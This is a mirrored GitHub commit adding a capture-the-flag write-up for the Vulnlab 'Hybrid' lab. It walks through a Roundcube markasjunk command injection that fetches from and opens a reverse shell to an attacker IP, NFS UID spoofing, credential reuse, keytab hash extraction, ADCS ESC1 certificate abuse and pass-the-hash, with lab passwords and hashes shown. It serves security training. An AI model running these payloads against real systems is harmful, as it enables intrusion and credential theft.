mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-24 21:03:07 +00:00
Create Hybrid.md
This commit is contained in:
ARZ
GitHub
parent
64a3b5afa1
commit
1fc8422ab0
1 changed files with 342 additions and 0 deletions
342
Vulnlab/Hybrid.md
Normal file
342
Vulnlab/Hybrid.md
Normal file
|
|
@ -0,0 +1,342 @@
|
|||
|
||||
# Vulnlab - Hybrid
|
||||
|
||||
# dc01
|
||||
|
||||
## NMAP
|
||||
|
||||
```bash
|
||||
Nmap scan report for 10.10.177.197
|
||||
Host is up (1.1s latency).
|
||||
Not shown: 65523 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
53/tcp open tcpwrapped
|
||||
135/tcp open tcpwrapped
|
||||
139/tcp open tcpwrapped
|
||||
445/tcp open tcpwrapped
|
||||
464/tcp open tcpwrapped
|
||||
3268/tcp open tcpwrapped
|
||||
3389/tcp open tcpwrapped
|
||||
|_ssl-date: 2023-07-09T15:21:51+00:00; -3s from scanner time.
|
||||
| ssl-cert: Subject: commonName=dc01.hybrid.vl
|
||||
| Issuer: commonName=dc01.hybrid.vl
|
||||
| Public Key type: rsa
|
||||
| Public Key bits: 2048
|
||||
| Signature Algorithm: sha256WithRSAEncryption
|
||||
| Not valid before: 2023-06-17T08:29:18
|
||||
| Not valid after: 2023-12-17T08:29:18
|
||||
| MD5: 503e6a310914a23a96f899c161496768
|
||||
|_SHA-1: 8b350872418cb813302ad430acb1b1497acada2e
|
||||
49669/tcp open tcpwrapped
|
||||
51915/tcp open tcpwrapped
|
||||
51928/tcp open tcpwrapped
|
||||
53128/tcp open tcpwrapped
|
||||
57220/tcp open tcpwrapped
|
||||
Host script results:
|
||||
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
|
||||
| smb2-time:
|
||||
| date: 2023-07-09T15:21:28
|
||||
|_ start_date: N/A
|
||||
| smb2-security-mode:
|
||||
| 311:
|
||||
|_ Message signing enabled and required
|
||||
|
||||
```
|
||||
|
||||
## PORT 445 (SMB)
|
||||
|
||||
From dc01, we only see smb service running which we can try enumerating with anonymous login which didn't worked
|
||||
|
||||
<img src="https://i.imgur.com/7nDowUn.png"/>
|
||||
|
||||
# mail01
|
||||
|
||||
## NMAP
|
||||
|
||||
```bash
|
||||
Nmap scan report for 10.10.177.198
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 60bc2226783cb4e06beaaa1ec1625dde (ECDSA)
|
||||
|_ 256 a3b5d86106e63a418845e35203d2231b (ED25519)
|
||||
25/tcp open smtp Postfix smtpd
|
||||
|_smtp-commands: Couldn't establish connection on port 25
|
||||
80/tcp open http nginx 1.18.0 (Ubuntu)
|
||||
|_http-server-header: nginx/1.18.0 (Ubuntu)
|
||||
110/tcp open pop3 Dovecot pop3d
|
||||
111/tcp open rpcbind
|
||||
143/tcp open imap Dovecot imapd (Ubuntu)
|
||||
587/tcp open smtp Postfix smtpd
|
||||
|_smtp-commands: Couldn't establish connection on port 587
|
||||
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|
||||
| ssl-cert: Subject: commonName=mail01
|
||||
| Subject Alternative Name: DNS:mail01
|
||||
| Issuer: commonName=mail01
|
||||
| Public Key type: rsa
|
||||
| Public Key bits: 2048
|
||||
| Signature Algorithm: sha256WithRSAEncryption
|
||||
| Not valid before: 2023-06-17T13:20:17
|
||||
| Not valid after: 2033-06-14T13:20:17
|
||||
| MD5: 38372b812fb16f03436025b4d26bdb29
|
||||
|_SHA-1: 61c2400271ff7850e0da4a5ae256e7df666bb008
|
||||
995/tcp open ssl/pop3 Dovecot pop3d
|
||||
| ssl-cert: Subject: commonName=mail01
|
||||
| Subject Alternative Name: DNS:mail01
|
||||
| Issuer: commonName=mail01
|
||||
| Public Key type: rsa
|
||||
| Public Key bits: 2048
|
||||
| Signature Algorithm: sha256WithRSAEncryption
|
||||
| Not valid before: 2023-06-17T13:20:17
|
||||
| Not valid after: 2033-06-14T13:20:17
|
||||
| MD5: 38372b812fb16f03436025b4d26bdb29
|
||||
|_SHA-1: 61c2400271ff7850e0da4a5ae256e7df666bb008
|
||||
2049/tcp open rpcbind
|
||||
33893/tcp open rpcbind
|
||||
37693/tcp open rpcbind
|
||||
42661/tcp open rpcbind
|
||||
46025/tcp open rpcbind
|
||||
47609/tcp open rpcbind
|
||||
```
|
||||
|
||||
## PORT 80 (HTTP)
|
||||
|
||||
mail01 had web server running on port 80 which redirects to `mail01.hybrid.vl`
|
||||
|
||||
<img src="https://i.imgur.com/wHjY2tg.png"/>
|
||||
|
||||
Adding the domain in `/etc/hosts` file
|
||||
|
||||
<img src="https://i.imgur.com/dozFFT4.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/yGoXNVY.png"/>
|
||||
|
||||
This brings us to `Roudcube webmail` login portal, trying default credentials like `admin:admin` it didn't worked
|
||||
|
||||
<img src="https://i.imgur.com/YymmtcS.png"/>
|
||||
|
||||
## PORT 2049 (NFS)
|
||||
|
||||
mail01 had nfs running on port 2049, we can list the share available to mount
|
||||
|
||||
```bash
|
||||
showmount -e 10.10.177.198
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/vlsJ1Gq.png"/>
|
||||
|
||||
We can mount this share with the following command
|
||||
|
||||
```bash
|
||||
mount -t nfs 10.10.177.198:/opt/share /home/arz/VulnLab/Hybrid/share
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/jTNX6Iq.png"/>
|
||||
|
||||
From this directory we can find `backup.tar.gz`
|
||||
|
||||
<img src="https://i.imgur.com/RK99Dx8.png"/>
|
||||
|
||||
Extracting the archive
|
||||
|
||||
<img src="https://i.imgur.com/weqYfry.png"/>
|
||||
|
||||
From the `opt` folder we can find a certificate
|
||||
|
||||
<img src="https://i.imgur.com/WqCgUW4.png"/>
|
||||
|
||||
And from `/etc/dovecot` we can find the credentials for roundcube mail
|
||||
|
||||
<img src="https://i.imgur.com/vniJ98o.png"/>
|
||||
|
||||
Logging in as `peter.turner` we can see an email sent from admin talking about spam filter
|
||||
|
||||
<img src="https://i.imgur.com/reBLjRP.png"/>
|
||||
|
||||
https://ssd-disclosure.com/ssd-advisory-roundcube-markasjunk-rce/
|
||||
|
||||
## Foothold
|
||||
|
||||
Following an article for remote code execution on markasjunk plugin we can execute commands by changing the email address of a user by using `${IFS}` which is a variable in bash that represents a space, tab and a new line character
|
||||
|
||||
```
|
||||
admin&curl${IFS}10.8.0.136&@hybrid.vl
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/2vbUYXL.png"/>
|
||||
|
||||
Now mark any email as junk
|
||||
|
||||
<img src="https://i.imgur.com/BykF7ZY.png"/>
|
||||
|
||||
We'll get a callback on our listener, so the commands are getting executed
|
||||
|
||||
<img src="https://i.imgur.com/TsPEYWd.png"/>
|
||||
|
||||
We can get a reverse shell by base64 encoding the payload
|
||||
|
||||
```bash
|
||||
bash -i >& /dev/tcp/10.8.0.136/2222 0>&1
|
||||
|
||||
admin&echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjAuMTM2LzIyMjIgMD4mMQo=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash&@hybrid.vl
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/tPL8SG1.png"/>
|
||||
|
||||
On doing the same procedure, we'll get a reverse shell as `www-data`
|
||||
|
||||
<img src="https://i.imgur.com/Mta7ypq.png"/>
|
||||
|
||||
In `/home` we only see one user which is a domain user, `peter.turner`, I tried switching to peter by using his roudcube password but it didn't worked
|
||||
|
||||
<img src="https://i.imgur.com/dzQyZZ8.png"/>
|
||||
|
||||
I tried cracking the password of `privkey.pem` but it took a long time so I decided to give up on that
|
||||
|
||||
<img src="https://i.imgur.com/mxeGwrl.png"/>
|
||||
|
||||
Reading `/etc/exports` file, we can see there's no `no_root_squash` so we cannot place bash binary owned by root user
|
||||
|
||||
<img src="https://i.imgur.com/KjmOZhX.png"/>
|
||||
|
||||
We know there's peter.turner on the victim machine with the id `902601108`
|
||||
|
||||
<img src="https://i.imgur.com/rbXIBBC.png"/>
|
||||
|
||||
Before creating the user with the same uid on our machine we meed to allow the creation of uids above 60000 range
|
||||
|
||||
<img src="https://i.imgur.com/0erBEXx.png"/>
|
||||
|
||||
Edit the `/etc/logins.defs` and change the `UID_MAX` value
|
||||
|
||||
<img src="https://i.imgur.com/J7Pqk9H.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/dSMkmYB.png"/>
|
||||
|
||||
Now copying bash binary in the mounted folder
|
||||
|
||||
<img src="https://i.imgur.com/IiFITlW.png"/>
|
||||
|
||||
We can see that this binary is owned by peter.turner since we used the same UID and it's a SUID, but on executing it wasn't being executed due to a different GLIBC version, so instead transferring the bash binary from the victim machine and making it a SUID
|
||||
|
||||
<img src="https://i.imgur.com/GoNDSL2.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/sFInsv8.png"/>
|
||||
|
||||
From peter's home directory, we can find `passwords.kdbx` file which is a keepassp password safe file
|
||||
|
||||
<img src="https://i.imgur.com/KygFyGS.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/eIKT0nI.png"/>
|
||||
Reading the kdbx file with `kpcli` , it asks for a password
|
||||
|
||||
<img src="https://i.imgur.com/JzZLsz3.png"/>
|
||||
|
||||
Using peter's roudcube password it worked on this file
|
||||
|
||||
<img src="https://i.imgur.com/hzeVRW1.png"/>
|
||||
|
||||
From `hybrid.vl` entry we can get the password of peter
|
||||
|
||||
<img src="https://i.imgur.com/Dk4jmCf.png"/>
|
||||
We can use this password to check privileges of peter, which can run anything as root
|
||||
|
||||
<img src="https://i.imgur.com/NecyDK8.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/zbvqrUf.png"/>
|
||||
|
||||
Being root user we can access `/etc/k`
|
||||
|
||||
Running `python-bloodhound` to enumerate the trusted.vl domain
|
||||
|
||||
```bash
|
||||
python3 /opt/BloodHound.py-Kerberos/bloodhound.py -d 'hybrid.vl' -u 'peter.turner' -p 'b0cwR+G4Dzl_rw' -gc 'dc01.hybrid.vl' -ns 10.10.132.229
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/7YAbZwP.png"/>
|
||||
|
||||
From bloodhound, there wasn't any path from peter leading to domain admin
|
||||
|
||||
<img src="https://i.imgur.com/C3tceXr.png"/>
|
||||
|
||||
Enumerating ADCS with `certipy` for vulnerable certificates
|
||||
|
||||
```bash
|
||||
certipy find -u peter.turner@hybrid.vl -p 'b0cwR+G4Dzl_rw' -vulnerable -stdout -dc-ip 10.10.228.165
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/MoyRpei.png"/>
|
||||
|
||||
Members of `Authenticated users` can enroll and authenticate any user with `hybrid-DC01-CA` (ESC-1), using `old-bloodhound` to get the result in json file so we can view it in bloodhound
|
||||
|
||||
```bash
|
||||
certipy find -u peter.turner@hybrid.vl -p 'b0cwR+G4Dzl_rw' -dc-ip 10.10.147.37 -old-bloodhound
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/JOVfRHr.png"/>
|
||||
|
||||
https://raw.githubusercontent.com/ly4k/Certipy/main/customqueries.json
|
||||
|
||||
Make sure to add custom queries for ADCS in `~./config/bloodhound/customqueries.json` to analyze ADCS in the domain
|
||||
|
||||
<img src="https://i.imgur.com/aFJBsmi.png"/>
|
||||
|
||||
After putting the custom queries we can see the templates being reflected on bloodhound
|
||||
|
||||
<img src="https://i.imgur.com/pvmNJGd.png"/>
|
||||
|
||||
Marking `hybrid-DC01-CA` as the high value target and checking the shortest path to hybrid-DC01-CA
|
||||
|
||||
<img src="https://i.imgur.com/JaoHvnB.png"/>
|
||||
|
||||
So now we need MAIL01's hash, going back to linux machine as root user, we can extract the NTHash using https://github.com/sosdave/KeyTabExtract from `/etc/krb5.keytab`
|
||||
|
||||
<img src="https://i.imgur.com/rMCohLl.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/61DbiSY.png"/>
|
||||
|
||||
From certipy we didn't found any template names, from bloodhound we can see two templates from which using `HYBRIDCOMPUTERS`
|
||||
|
||||
<img src="https://i.imgur.com/rFGt0zY.png"/>
|
||||
|
||||
On requesting the certificate, it was giving an error related to public key requirement
|
||||
|
||||
<img src="https://i.imgur.com/2wz5oA6.png"/>
|
||||
|
||||
Checking the pem file we have, we can see the size of the public key, which is 4096 bit
|
||||
|
||||
<img src="https://i.imgur.com/A3AUwkq.png"/>
|
||||
|
||||
Specifying the size of the public key file and requesting the certificate to authenticate as administrator
|
||||
|
||||
```bash
|
||||
certipy req -u 'MAIL01$' -hashes ":0f916c5246fdbc7ba95dcef4126d57bd" -dc-ip "10.10.228.165" -ca 'hybrid-DC01-CA' -template 'HYBRIDCOMPUTERS' -upn 'administrator' -target 'dc01.hybrid.vl' -key-size 4096
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/5YhgdZl.png"/>
|
||||
|
||||
Now again with `certipy` we can request administrator's NTHash
|
||||
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'hybrid.vl' -dc-ip 10.10.228.165
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/5tZOxmC.png"/>
|
||||
|
||||
We can get a shell through `wmiexec`
|
||||
|
||||
```bash
|
||||
wmiexec.py administrator@10.10.228.165 -hashes ':60701e8543c9f6db1a2af3217386d3dc'
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/ROMPjGs.png"/>
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- https://ssd-disclosure.com/ssd-advisory-roundcube-markasjunk-rce/
|
||||
- https://github.com/ly4k/Certipy/blob/main/customqueries.json
|
||||
- https://github.com/sosdave/KeyTabExtract
|
||||
- https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
|
||||
- https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration
|
||||
|
||||
Loading…
Reference in a new issue